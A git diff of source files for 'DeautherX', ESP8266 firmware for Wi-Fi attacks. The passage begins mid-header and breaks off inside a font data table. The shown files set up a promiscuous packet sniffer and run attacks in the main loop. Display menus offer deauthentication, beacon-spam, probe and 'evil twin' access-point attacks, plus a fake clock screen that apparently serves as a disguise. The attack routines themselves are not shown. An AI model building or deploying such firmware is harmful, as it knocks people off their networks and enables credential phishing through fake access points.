int getBatteryPercentage5V();
|
||||
int getBatteryPercentage(int max);
|
||||
bool isChargingMode();
|
||||
|
||||
private:
|
||||
int analogInPin = A0;
|
||||
int sensorValue;
|
||||
float calibration;
|
||||
int lastMillisBatt = 0;
|
||||
float bat_percentage = 65;
|
||||
|
||||
float mapfloat(float x, float in_min, float in_max, float out_min, float out_max);
|
||||
|
||||
};
|
||||
1339
DeautherX/CLI.cpp
Normal file
1339
DeautherX/CLI.cpp
Normal file
File diff suppressed because it is too large
Load Diff
89
DeautherX/CLI.h
Normal file
89
DeautherX/CLI.h
Normal file
@@ -0,0 +1,89 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "led.h"
|
||||
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
extern Attack attack;
|
||||
extern DisplayUI displayUI;
|
||||
extern uint32_t currentTime;
|
||||
extern uint32_t autosaveTime;
|
||||
|
||||
extern String macToStr(const uint8_t* mac);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern bool strToIP(String ipStr, uint8_t* ip);
|
||||
extern void strToColor(String str, uint8_t* buf);
|
||||
extern void readFileToSerial(String path, bool showLineNum);
|
||||
extern bool readFile(String path, String& buf);
|
||||
extern bool removeFile(String path);
|
||||
extern bool copyFile(String pathFrom, String pathTo);
|
||||
extern bool renameFile(String pathFrom, String pathTo);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool removeLines(String path, int lineFrom, int lineTo);
|
||||
extern bool replaceLine(String path, int line, String& buf);
|
||||
extern bool equalsKeyword(const char* str, const char* keyword);
|
||||
|
||||
class CLI {
|
||||
public:
|
||||
CLI();
|
||||
~CLI();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
|
||||
void enable();
|
||||
void disable();
|
||||
|
||||
void update();
|
||||
void stop();
|
||||
|
||||
void enableDelay(uint32_t delayTime);
|
||||
|
||||
void exec(String input);
|
||||
void execFile(String path);
|
||||
void runLine(String input);
|
||||
void runCommand(String input);
|
||||
|
||||
private:
|
||||
bool enabled = false;
|
||||
|
||||
SimpleList<String>* list;
|
||||
SimpleList<String>* queue;
|
||||
|
||||
bool delayed = false;
|
||||
uint32_t delayTime = 0;
|
||||
uint32_t delayStartTime = 0;
|
||||
|
||||
String execPath = "/autostart.txt";
|
||||
|
||||
struct Keyword {
|
||||
const char* name;
|
||||
const char* shortName;
|
||||
const char* alt;
|
||||
};
|
||||
|
||||
void error(String message);
|
||||
void parameterError(String parameter);
|
||||
bool isInt(String str);
|
||||
int toInt(String str);
|
||||
uint32_t getTime(String time);
|
||||
bool eqlsCMD(int i, const char* keyword);
|
||||
};
|
||||
200
DeautherX/DeautherX.ino
Normal file
200
DeautherX/DeautherX.ino
Normal file
@@ -0,0 +1,200 @@
|
||||
#include <StringSplitter.h>
|
||||
|
||||
/* =====================
|
||||
This software is licensed under the MIT License:
|
||||
https://github.com/BlackTechX011/DeautherX
|
||||
===================== */
|
||||
|
||||
extern "C" {
|
||||
// Please follow this tutorial:
|
||||
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
|
||||
// And be sure to have the right board selected
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#include "EEPROMHelper.h"
|
||||
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
#if ARDUINOJSON_VERSION_MAJOR != 5
|
||||
// The software was build using ArduinoJson v5.x
|
||||
// version 6 is still in beta at the time of writing
|
||||
// go to tools -> manage libraries, search for ArduinoJSON and install version 5
|
||||
#error Please upgrade/downgrade ArduinoJSON library to version 5!
|
||||
#endif // if ARDUINOJSON_VERSION_MAJOR != 5
|
||||
|
||||
#include "oui.h"
|
||||
#include "language.h"
|
||||
#include "functions.h"
|
||||
#include "settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "CLI.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "A_config.h"
|
||||
|
||||
#include "led.h"
|
||||
|
||||
// Run-Time Variables //
|
||||
Names names;
|
||||
SSIDs ssids;
|
||||
Accesspoints accesspoints;
|
||||
Stations stations;
|
||||
Scan scan;
|
||||
Attack attack;
|
||||
CLI cli;
|
||||
DisplayUI displayUI;
|
||||
|
||||
simplebutton::Button* resetButton;
|
||||
|
||||
#include "wifi.h"
|
||||
|
||||
uint32_t autosaveTime = 0;
|
||||
uint32_t currentTime = 0;
|
||||
|
||||
bool booted = false;
|
||||
|
||||
void setup() {
|
||||
// for random generator
|
||||
randomSeed(os_random());
|
||||
|
||||
// start serial
|
||||
Serial.begin(115200);
|
||||
Serial.println();
|
||||
|
||||
// start SPIFFS
|
||||
prnt(SETUP_MOUNT_SPIFFS);
|
||||
// bool spiffsError = !LittleFS.begin();
|
||||
LittleFS.begin();
|
||||
prntln(/*spiffsError ? SETUP_ERROR : */ SETUP_OK);
|
||||
|
||||
// Start EEPROM
|
||||
EEPROMHelper::begin(EEPROM_SIZE);
|
||||
|
||||
#ifdef FORMAT_SPIFFS
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
LittleFS.format();
|
||||
prntln(SETUP_OK);
|
||||
#endif // ifdef FORMAT_SPIFFS
|
||||
|
||||
#ifdef FORMAT_EEPROM
|
||||
prnt(SETUP_FORMAT_EEPROM);
|
||||
EEPROMHelper::format(EEPROM_SIZE);
|
||||
prntln(SETUP_OK);
|
||||
#endif // ifdef FORMAT_EEPROM
|
||||
|
||||
// Format SPIFFS when in boot-loop
|
||||
if (/*spiffsError || */ !EEPROMHelper::checkBootNum(BOOT_COUNTER_ADDR)) {
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
LittleFS.format();
|
||||
prntln(SETUP_OK);
|
||||
|
||||
prnt(SETUP_FORMAT_EEPROM);
|
||||
EEPROMHelper::format(EEPROM_SIZE);
|
||||
prntln(SETUP_OK);
|
||||
|
||||
EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);
|
||||
}
|
||||
|
||||
// get time
|
||||
currentTime = millis();
|
||||
|
||||
// load settings
|
||||
#ifndef RESET_SETTINGS
|
||||
settings::load();
|
||||
#else // ifndef RESET_SETTINGS
|
||||
settings::reset();
|
||||
settings::save();
|
||||
#endif // ifndef RESET_SETTINGS
|
||||
|
||||
wifi::begin();
|
||||
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
||||
scan.sniffer(buf, len);
|
||||
});
|
||||
|
||||
// start display
|
||||
if (settings::getDisplaySettings().enabled) {
|
||||
displayUI.setup();
|
||||
displayUI.mode = DISPLAY_MODE::INTRO;
|
||||
}
|
||||
// load everything else
|
||||
names.load();
|
||||
ssids.load();
|
||||
cli.load();
|
||||
|
||||
// create scan.json
|
||||
scan.setup();
|
||||
|
||||
// dis/enable serial command interface
|
||||
if (settings::getCLISettings().enabled) {
|
||||
cli.enable();
|
||||
} else {
|
||||
prntln(SETUP_SERIAL_WARNING);
|
||||
Serial.flush();
|
||||
Serial.end();
|
||||
}
|
||||
|
||||
// start access point/web interface
|
||||
if (settings::getWebSettings().enabled) wifi::startAP();
|
||||
|
||||
// STARTED
|
||||
prntln(SETUP_STARTED);
|
||||
|
||||
// version
|
||||
prntln(DEAUTHER_VERSION);
|
||||
|
||||
// setup LED
|
||||
led::setup();
|
||||
|
||||
// setup reset button
|
||||
resetButton = new ButtonPullup(RESET_BUTTON);
|
||||
resetButton->setOnDoubleClicked([](){
|
||||
displayUI.shutDown();
|
||||
});
|
||||
}
|
||||
|
||||
void loop() {
|
||||
currentTime = millis();
|
||||
|
||||
led::update(); // update LED color
|
||||
wifi::update(); // manage access point
|
||||
attack.update(); // run attacks
|
||||
displayUI.update();
|
||||
cli.update(); // read and run serial input
|
||||
scan.update(); // run scan
|
||||
ssids.update(); // run random mode, if enabled
|
||||
|
||||
// auto-save
|
||||
if (settings::getAutosaveSettings().enabled
|
||||
&& (currentTime - autosaveTime > settings::getAutosaveSettings().time)) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
settings::save(false);
|
||||
}
|
||||
|
||||
if (!booted) {
|
||||
booted = true;
|
||||
EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);
|
||||
#ifdef HIGHLIGHT_LED
|
||||
displayUI.setupLED();
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
}
|
||||
|
||||
resetButton->update();
|
||||
if (resetButton->holding(3000)) {
|
||||
led::setMode(LED_MODE::SCAN);
|
||||
DISPLAY_MODE _mode = displayUI.mode;
|
||||
displayUI.mode = DISPLAY_MODE::RESETTING;
|
||||
displayUI.update(true);
|
||||
|
||||
settings::reset();
|
||||
settings::save(true);
|
||||
|
||||
delay(2000);
|
||||
|
||||
led::setMode(LED_MODE::IDLE);
|
||||
displayUI.mode = _mode;
|
||||
}
|
||||
}
|
||||
1239
DeautherX/DisplayUI.cpp
Normal file
1239
DeautherX/DisplayUI.cpp
Normal file
File diff suppressed because it is too large
Load Diff
689
DeautherX/DisplayUI.h
Normal file
689
DeautherX/DisplayUI.h
Normal file
@@ -0,0 +1,689 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "BatteryManagement.h"
|
||||
|
||||
// ===== adjustable ===== //
|
||||
#if defined(SSD1306_I2C)
|
||||
#include <Wire.h>
|
||||
#include "src/esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h"
|
||||
#elif defined(SSD1306_SPI)
|
||||
#include <SPI.h>
|
||||
#include "src/esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h"
|
||||
#elif defined(SH1106_I2C)
|
||||
#include <Wire.h>
|
||||
#include "src/esp8266-oled-ssd1306-4.1.0/SH1106Wire.h"
|
||||
#elif defined(SH1106_SPI)
|
||||
#include <SPI.h>
|
||||
#include "src/esp8266-oled-ssd1306-4.1.0/SH1106Spi.h"
|
||||
#endif /* if defined(SSD1306_I2C) */
|
||||
|
||||
#ifdef RTC_DS3231
|
||||
#include "src/DS3231-1.0.3/DS3231.h"
|
||||
#endif // ifdef RTC_DS3231
|
||||
|
||||
#include "src/SimpleButton/SimpleButton.h"
|
||||
#include "ESP8266HTTPClient.h"
|
||||
|
||||
using namespace simplebutton;
|
||||
|
||||
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
extern Attack attack;
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String center(String a, int len);
|
||||
extern String left(String a, int len);
|
||||
extern String right(String a, int len);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String replaceUtf8(String str, String r);
|
||||
|
||||
const char D_INTRO_0[] PROGMEM = "SRAciJa-01";
|
||||
const char D_INTRO_1[] PROGMEM = "made in NKSP";
|
||||
const char D_INTRO_2[] PROGMEM = DISPLAY_TEXT;
|
||||
const char D_RESETTING[] PROGMEM = "Resetting...";
|
||||
|
||||
|
||||
|
||||
struct MenuNode {
|
||||
std::function<String()>getStr; // function used to create the displayed string
|
||||
std::function<void()> click; // function that is executed when node is clicked
|
||||
std::function<void()> hold; // function that is executed when node is pressed for > 800ms
|
||||
};
|
||||
|
||||
struct Menu {
|
||||
SimpleList<MenuNode>* list;
|
||||
Menu * parentMenu;
|
||||
uint8_t selected;
|
||||
std::function<void()> build; // function that is executed when button is clicked
|
||||
};
|
||||
|
||||
enum class DISPLAY_MODE { OFF,
|
||||
BUTTON_TEST,
|
||||
MENU,
|
||||
LOADSCAN,
|
||||
PACKETMONITOR,
|
||||
INTRO,
|
||||
EVIL_TWIN,
|
||||
CLOCK,
|
||||
CLOCK_DISPLAY,
|
||||
RESETTING,
|
||||
SHUTDOWN,
|
||||
RSSI_MONITOR,
|
||||
WSTATUS};
|
||||
|
||||
class DisplayUI {
|
||||
public:
|
||||
DISPLAY_MODE mode = DISPLAY_MODE::MENU;
|
||||
bool highlightLED = false;
|
||||
bool tempOff = false;
|
||||
|
||||
Button* up = NULL;
|
||||
Button* down = NULL;
|
||||
Button* a = NULL;
|
||||
Button* b = NULL;
|
||||
|
||||
BatteryManagement battery;
|
||||
|
||||
// ===== adjustable ===== //
|
||||
#if defined(SSD1306_I2C)
|
||||
SSD1306Wire display = SSD1306Wire(I2C_ADDR, I2C_SDA, I2C_SCL);
|
||||
#elif defined(SSD1306_SPI)
|
||||
SSD1306Spi display = SSD1306Spi(SPI_RES, SPI_DC, SPI_CS);
|
||||
#elif defined(SH1106_I2C)
|
||||
SH1106Wire display = SH1106Wire(I2C_ADDR, I2C_SDA, I2C_SCL);
|
||||
#elif defined(SH1106_SPI)
|
||||
SH1106Spi display = SH1106Spi(SPI_RES, SPI_DC, SPI_CS);
|
||||
#endif /* if defined(SSD1306_I2C) */
|
||||
|
||||
const uint8_t maxLen = 18;
|
||||
const uint8_t lineHeight = 12;
|
||||
const uint8_t buttonDelay = 250;
|
||||
const uint8_t drawInterval = 100; // 100ms = 10 FPS
|
||||
const uint16_t scrollSpeed = 500; // time interval in ms
|
||||
const uint16_t screenIntroTime = 500;
|
||||
const uint16_t screenWidth = 128;
|
||||
const uint16_t sreenHeight = 64;
|
||||
|
||||
void configInit();
|
||||
void configOn();
|
||||
void configOff();
|
||||
void shutDown();
|
||||
void updatePrefix();
|
||||
void drawCharging();
|
||||
void updateSuffix();
|
||||
void drawString(int x, int y, String str);
|
||||
void drawString(int row, String str);
|
||||
void drawProgressbar(int row, int progress, int max, long len);
|
||||
void drawLine(int x1, int y1, int x2, int y2);
|
||||
// ====================== //
|
||||
|
||||
DisplayUI();
|
||||
~DisplayUI();
|
||||
|
||||
void setup();
|
||||
#ifdef HIGHLIGHT_LED
|
||||
void setupLED();
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
|
||||
void update(bool force = false);
|
||||
void on();
|
||||
void off();
|
||||
|
||||
private:
|
||||
|
||||
|
||||
|
||||
int16_t selectedID = 0; // i.e. access point ID to draw the apMenu
|
||||
uint8_t scrollCounter = 0; // for horizontal scrolling
|
||||
|
||||
uint32_t scrollTime = 0; // last time a character was moved
|
||||
uint32_t drawTime = 0; // last time a frame was drawn
|
||||
uint32_t startTime = 0; // when the screen was enabled
|
||||
uint32_t buttonTime = 0; // last time a button was pressed
|
||||
|
||||
bool enabled = false; // display enabled
|
||||
|
||||
// selected attack modes
|
||||
bool beaconSelected = false;
|
||||
bool deauthSelected = false;
|
||||
bool deauthAllSelected = false;
|
||||
bool probeSelected = false;
|
||||
|
||||
// menus
|
||||
Menu* currentMenu;
|
||||
|
||||
Menu mainMenu;
|
||||
|
||||
Menu scanMenu;
|
||||
Menu showMenu;
|
||||
Menu attackMenu;
|
||||
Menu toolsMenu;
|
||||
Menu evilTwinMenu;
|
||||
|
||||
Menu apListMenu;
|
||||
Menu stationListMenu;
|
||||
Menu nameListMenu;
|
||||
Menu ssidListMenu;
|
||||
|
||||
Menu apMenu;
|
||||
Menu stationMenu;
|
||||
Menu nameMenu;
|
||||
Menu ssidMenu;
|
||||
|
||||
void setupButtons();
|
||||
|
||||
String getChannel();
|
||||
|
||||
// draw functions
|
||||
void draw(bool force = false);
|
||||
void drawButtonTest();
|
||||
void drawMenu();
|
||||
void drawLoadingScan();
|
||||
void drawPacketMonitor();
|
||||
void drawIntro();
|
||||
void drawEvilTwin();
|
||||
|
||||
void drawRssiMonitor();
|
||||
void drawWifiStatus();
|
||||
void drawResetting();
|
||||
void drawShutdown();
|
||||
void clearMenu(Menu* menu);
|
||||
|
||||
// menu functions
|
||||
void changeMenu(Menu* menu);
|
||||
void goBack();
|
||||
void createMenu(Menu* menu, Menu* parent, std::function<void()>build);
|
||||
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click, std::function<void()>hold);
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click);
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next);
|
||||
void addMenuNode(Menu* menu, const char* ptr, std::function<void()>click);
|
||||
void addMenuNode(Menu* menu, const char* ptr, Menu* next);
|
||||
|
||||
// fake clock
|
||||
void drawClock();
|
||||
void setTime(int h, int m, int s);
|
||||
|
||||
int clockHour = 6;
|
||||
int clockMinute = 0;
|
||||
int clockSecond = 0;
|
||||
|
||||
uint32_t clockTime = 0;
|
||||
|
||||
#ifdef RTC_DS3231
|
||||
DS3231 clock;
|
||||
#endif // ifdef RTC_DS3231
|
||||
};
|
||||
|
||||
// ===== FONT ===== //
|
||||
// Created by http://oleddisplay.squix.ch/ Consider a donation
|
||||
// In case of problems make sure that you are using the font file with the correct version!
|
||||
const uint8_t DejaVu_Sans_Mono_12[] PROGMEM = {
|
||||
0x07, // Width: 7
|
||||
0x0F, // Height: 15
|
||||
0x20, // First Char: 32
|
||||
0xE0, // Numbers of Chars: 224
|
||||
|
||||
// Jump Table:
|
||||
0xFF, 0xFF, 0x00, 0x07, // 32:65535
|
||||
0x00, 0x00, 0x08, 0x07, // 33:0
|
||||
0x00, 0x08, 0x09, 0x07, // 34:8
|
||||
0x00, 0x11, 0x0D, 0x07, // 35:17
|
||||
0x00, 0x1E, 0x0C, 0x07, // 36:30
|
||||
0x00, 0x2A, 0x0E, 0x07, // 37:42
|
||||
0x00, 0x38, 0x0E, 0x07, // 38:56
|
||||
0x00, 0x46, 0x07, 0x07, // 39:70
|
||||
0x00, 0x4D, 0x0C, 0x07, // 40:77
|
||||
0x00, 0x59, 0x0A, 0x07, // 41:89
|
||||
0x00, 0x63, 0x0B, 0x07, // 42:99
|
||||
0x00, 0x6E, 0x0E, 0x07, // 43:110
|
||||
0x00, 0x7C, 0x08, 0x07, // 44:124
|
||||
0x00, 0x84, 0x0A, 0x07, // 45:132
|
||||
0x00, 0x8E, 0x08, 0x07, // 46:142
|
||||
0x00, 0x96, 0x0D, 0x07, // 47:150
|
||||
0x00, 0xA3, 0x0E, 0x07, // 48:163
|
||||
0x00, 0xB1, 0x0C, 0x07, // 49:177
|
||||
0x00, 0xBD, 0x0E, 0x07, // 50:189
|
||||
0x00, 0xCB, 0x0E, 0x07, // 51:203
|
||||
0x00, 0xD9, 0x0E, 0x07, // 52:217
|
||||
0x00, 0xE7, 0x0E, 0x07, // 53:231
|
||||
0x00, 0xF5, 0x0E, 0x07, // 54:245
|
||||
0x01, 0x03, 0x0D, 0x07, // 55:259
|
||||
0x01, 0x10, 0x0E, 0x07, // 56:272
|
||||
0x01, 0x1E, 0x0E, 0x07, // 57:286
|
||||
0x01, 0x2C, 0x08, 0x07, // 58:300
|
||||
0x01, 0x34, 0x08, 0x07, // 59:308
|
||||
0x01, 0x3C, 0x0E, 0x07, // 60:316
|
||||
0x01, 0x4A, 0x0E, 0x07, // 61:330
|
||||
0x01, 0x58, 0x0E, 0x07, // 62:344
|
||||
0x01, 0x66, 0x0D, 0x07, // 63:358
|
||||
0x01, 0x73, 0x0E, 0x07, // 64:371
|
||||
0x01, 0x81, 0x0E, 0x07, // 65:385
|
||||
0x01, 0x8F, 0x0E, 0x07, // 66:399
|
||||
0x01, 0x9D, 0x0E, 0x07, // 67:413
|
||||
0x01, 0xAB, 0x0E, 0x07, // 68:427
|
||||
0x01, 0xB9, 0x0E, 0x07, // 69:441
|
||||
0x01, 0xC7, 0x0D, 0x07, // 70:455
|
||||
0x01, 0xD4, 0x0E, 0x07, // 71:468
|
||||
0x01, 0xE2, 0x0E, 0x07, // 72:482
|
||||
0x01, 0xF0, 0x0C, 0x07, // 73:496
|
||||
0x01, 0xFC, 0x0C, 0x07, // 74:508
|
||||
0x02, 0x08, 0x0E, 0x07, // 75:520
|
||||
0x02, 0x16, 0x0E, 0x07, // 76:534
|
||||
0x02, 0x24, 0x0E, 0x07, // 77:548
|
||||
0x02, 0x32, 0x0E, 0x07, // 78:562
|
||||
0x02, 0x40, 0x0E, 0x07, // 79:576
|
||||
0x02, 0x4E, 0x0D, 0x07, // 80:590
|
||||
0x02, 0x5B, 0x0E, 0x07, // 81:603
|
||||
0x02, 0x69, 0x0E, 0x07, // 82:617
|
||||
0x02, 0x77, 0x0E, 0x07, // 83:631
|
||||
0x02, 0x85, 0x0D, 0x07, // 84:645
|
||||
0x02, 0x92, 0x0E, 0x07, // 85:658
|
||||
0x02, 0xA0, 0x0D, 0x07, // 86:672
|
||||
0x02, 0xAD, 0x0E, 0x07, // 87:685
|
||||
0x02, 0xBB, 0x0E, 0x07, // 88:699
|
||||
0x02, 0xC9, 0x0D, 0x07, // 89:713
|
||||
0x02, 0xD6, 0x0E, 0x07, // 90:726
|
||||
0x02, 0xE4, 0x0A, 0x07, // 91:740
|
||||
0x02, 0xEE, 0x0E, 0x07, // 92:750
|
||||
0x02, 0xFC, 0x08, 0x07, // 93:764
|
||||
0x03, 0x04, 0x0B, 0x07, // 94:772
|
||||
0x03, 0x0F, 0x0E, 0x07, // 95:783
|
||||
0x03, 0x1D, 0x09, 0x07, // 96:797
|
||||
0x03, 0x26, 0x0C, 0x07, // 97:806
|
||||
0x03, 0x32, 0x0C, 0x07, // 98:818
|
||||
0x03, 0x3E, 0x0C, 0x07, // 99:830
|
||||
0x03, 0x4A, 0x0C, 0x07, // 100:842
|
||||
0x03, 0x56, 0x0C, 0x07, // 101:854
|
||||
0x03, 0x62, 0x0B, 0x07, // 102:866
|
||||
0x03, 0x6D, 0x0C, 0x07, // 103:877
|
||||
0x03, 0x79, 0x0C, 0x07, // 104:889
|
||||
0x03, 0x85, 0x0C, 0x07, // 105:901
|
||||
0x03, 0x91, 0x0A, 0x07, // 106:913
|
||||
0x03, 0x9B, 0x0C, 0x07, // 107:923
|
||||
0x03, 0xA7, 0x0C, 0x07, // 108:935
|
||||
0x03, 0xB3, 0x0C, 0x07, // 109:947
|
||||
0x03, 0xBF, 0x0C, 0x07, // 110:959
|
||||
0x03, 0xCB, 0x0C, 0x07, // 111:971
|
||||
0x03, 0xD7, 0x0C, 0x07, // 112:983
|
||||
0x03, 0xE3, 0x0C, 0x07, // 113:995
|
||||
0x03, 0xEF, 0x0D, 0x07, // 114:1007
|
||||
0x03, 0xFC, 0x0C, 0x07, // 115:1020
|
||||
0x04, 0x08, 0x0C, 0x07, // 116:1032
|
||||
0x04, 0x14, 0x0C, 0x07, // 117:1044
|
||||
0x04, 0x20, 0x0B, 0x07, // 118:1056
|
||||
0x04, 0x2B, 0x0D, 0x07, // 119:1067
|
||||
0x04, 0x38, 0x0C, 0x07, // 120:1080
|
||||
0x04, 0x44, 0x0B, 0x07, // 121:1092
|
||||
0x04, 0x4F, 0x0C, 0x07, // 122:1103
|
||||
0x04, 0x5B, 0x0C, 0x07, // 123:1115
|
||||
0x04, 0x67, 0x08, 0x07, // 124:1127
|
||||
0x04, 0x6F, 0x0B, 0x07, // 125:1135
|
||||
0x04, 0x7A, 0x0E, 0x07, // 126:1146
|
||||
0x04, 0x88, 0x0E, 0x07, // 127:1160
|
||||
0x04, 0x96, 0x0E, 0x07, // 128:1174
|
||||
0x04, 0xA4, 0x0E, 0x07, // 129:1188
|
||||
0x04, 0xB2, 0x0E, 0x07, // 130:1202
|
||||
0x04, 0xC0, 0x0E, 0x07, // 131:1216
|
||||
0x04, 0xCE, 0x0E, 0x07, // 132:1230
|
||||
0x04, 0xDC, 0x0E, 0x07, // 133:1244
|
||||
0x04, 0xEA, 0x0E, 0x07, // 134:1258
|
||||
0x04, 0xF8, 0x0E, 0x07, // 135:1272
|
||||
0x05, 0x06, 0x0E, 0x07, // 136:1286
|
||||
0x05, 0x14, 0x0E, 0x07, // 137:1300
|
||||
0x05, 0x22, 0x0E, 0x07, // 138:1314
|
||||
0x05, 0x30, 0x0E, 0x07, // 139:1328
|
||||
0x05, 0x3E, 0x0E, 0x07, // 140:1342
|
||||
0x05, 0x4C, 0x0E, 0x07, // 141:1356
|
||||
0x05, 0x5A, 0x0E, 0x07, // 142:1370
|
||||
0x05, 0x68, 0x0E, 0x07, // 143:1384
|
||||
0x05, 0x76, 0x0E, 0x07, // 144:1398
|
||||
0x05, 0x84, 0x0E, 0x07, // 145:1412
|
||||
0x05, 0x92, 0x0E, 0x07, // 146:1426
|
||||
0x05, 0xA0, 0x0E, 0x07, // 147:1440
|
||||
0x05, 0xAE, 0x0E, 0x07, // 148:1454
|
||||
0x05, 0xBC, 0x0E, 0x07, // 149:1468
|
||||
0x05, 0xCA, 0x0E, 0x07, // 150:1482
|
||||
0x05, 0xD8, 0x0E, 0x07, // 151:1496
|
||||
0x05, 0xE6, 0x0E, 0x07, // 152:1510
|
||||
0x05, 0xF4, 0x0E, 0x07, // 153:1524
|
||||
0x06, 0x02, 0x0E, 0x07, // 154:1538
|
||||
0x06, 0x10, 0x0E, 0x07, // 155:1552
|
||||
0x06, 0x1E, 0x0E, 0x07, // 156:1566
|
||||
0x06, 0x2C, 0x0E, 0x07, // 157:1580
|
||||
0x06, 0x3A, 0x0E, 0x07, // 158:1594
|
||||
0x06, 0x48, 0x0E, 0x07, // 159:1608
|
||||
0xFF, 0xFF, 0x00, 0x07, // 160:65535
|
||||
0x06, 0x56, 0x08, 0x07, // 161:1622
|
||||
0x06, 0x5E, 0x0C, 0x07, // 162:1630
|
||||
0x06, 0x6A, 0x0C, 0x07, // 163:1642
|
||||
0x06, 0x76, 0x0E, 0x07, // 164:1654
|
||||
0x06, 0x84, 0x0D, 0x07, // 165:1668
|
||||
0x06, 0x91, 0x08, 0x07, // 166:1681
|
||||
0x06, 0x99, 0x0C, 0x07, // 167:1689
|
||||
0x06, 0xA5, 0x09, 0x07, // 168:1701
|
||||
0x06, 0xAE, 0x0E, 0x07, // 169:1710
|
||||
0x06, 0xBC, 0x0A, 0x07, // 170:1724
|
||||
0x06, 0xC6, 0x0E, 0x07, // 171:1734
|
||||
0x06, 0xD4, 0x0E, 0x07, // 172:1748
|
||||
0x06, 0xE2, 0x0A, 0x07, // 173:1762
|
||||
0x06, 0xEC, 0x0E, 0x07, // 174:1772
|
||||
0x06, 0xFA, 0x0B, 0x07, // 175:1786
|
||||
0x07, 0x05, 0x0B, 0x07, // 176:1797
|
||||
0x07, 0x10, 0x0E, 0x07, // 177:1808
|
||||
0x07, 0x1E, 0x09, 0x07, // 178:1822
|
||||
0x07, 0x27, 0x0B, 0x07, // 179:1831
|
||||
0x07, 0x32, 0x09, 0x07, // 180:1842
|
||||
0x07, 0x3B, 0x0E, 0x07, // 181:1851
|
||||
0x07, 0x49, 0x0E, 0x07, // 182:1865
|
||||
0x07, 0x57, 0x08, 0x07, // 183:1879
|
||||
0x07, 0x5F, 0x0A, 0x07, // 184:1887
|
||||
0x07, 0x69, 0x09, 0x07, // 185:1897
|
||||
0x07, 0x72, 0x0A, 0x07, // 186:1906
|
||||
0x07, 0x7C, 0x0E, 0x07, // 187:1916
|
||||
0x07, 0x8A, 0x0E, 0x07, // 188:1930
|
||||
0x07, 0x98, 0x0C, 0x07, // 189:1944
|
||||
0x07, 0xA4, 0x0E, 0x07, // 190:1956
|
||||
0x07, 0xB2, 0x0A, 0x07, // 191:1970
|
||||
0x07, 0xBC, 0x0E, 0x07, // 192:1980
|
||||
0x07, 0xCA, 0x0E, 0x07, // 193:1994
|
||||
0x07, 0xD8, 0x0E, 0x07, // 194:2008
|
||||
0x07, 0xE6, 0x0E, 0x07, // 195:2022
|
||||
0x07, 0xF4, 0x0E, 0x07, // 196:2036
|
||||
0x08, 0x02, 0x0E, 0x07, // 197:2050
|
||||
0x08, 0x10, 0x0E, 0x07, // 198:2064
|
||||
0x08, 0x1E, 0x0E, 0x07, // 199:2078
|
||||
0x08, 0x2C, 0x0E, 0x07, // 200:2092
|
||||
0x08, 0x3A, 0x0E, 0x07, // 201:2106
|
||||
0x08, 0x48, 0x0E, 0x07, // 202:2120
|
||||
0x08, 0x56, 0x0E, 0x07, // 203:2134
|
||||
0x08, 0x64, 0x0C, 0x07, // 204:2148
|
||||
0x08, 0x70, 0x0C, 0x07, // 205:2160
|
||||
0x08, 0x7C, 0x0C, 0x07, // 206:2172
|
||||
0x08, 0x88, 0x0C, 0x07, // 207:2184
|
||||
0x08, 0x94, 0x0E, 0x07, // 208:2196
|
||||
0x08, 0xA2, 0x0E, 0x07, // 209:2210
|
||||
0x08, 0xB0, 0x0E, 0x07, // 210:2224
|
||||
0x08, 0xBE, 0x0E, 0x07, // 211:2238
|
||||
0x08, 0xCC, 0x0E, 0x07, // 212:2252
|
||||
0x08, 0xDA, 0x0E, 0x07, // 213:2266
|
||||
0x08, 0xE8, 0x0E, 0x07, // 214:2280
|
||||
0x08, 0xF6, 0x0C, 0x07, // 215:2294
|
||||
0x09, 0x02, 0x0E, 0x07, // 216:2306
|
||||
0x09, 0x10, 0x0E, 0x07, // 217:2320
|
||||
0x09, 0x1E, 0x0E, 0x07, // 218:2334
|
||||
0x09, 0x2C, 0x0E, 0x07, // 219:2348
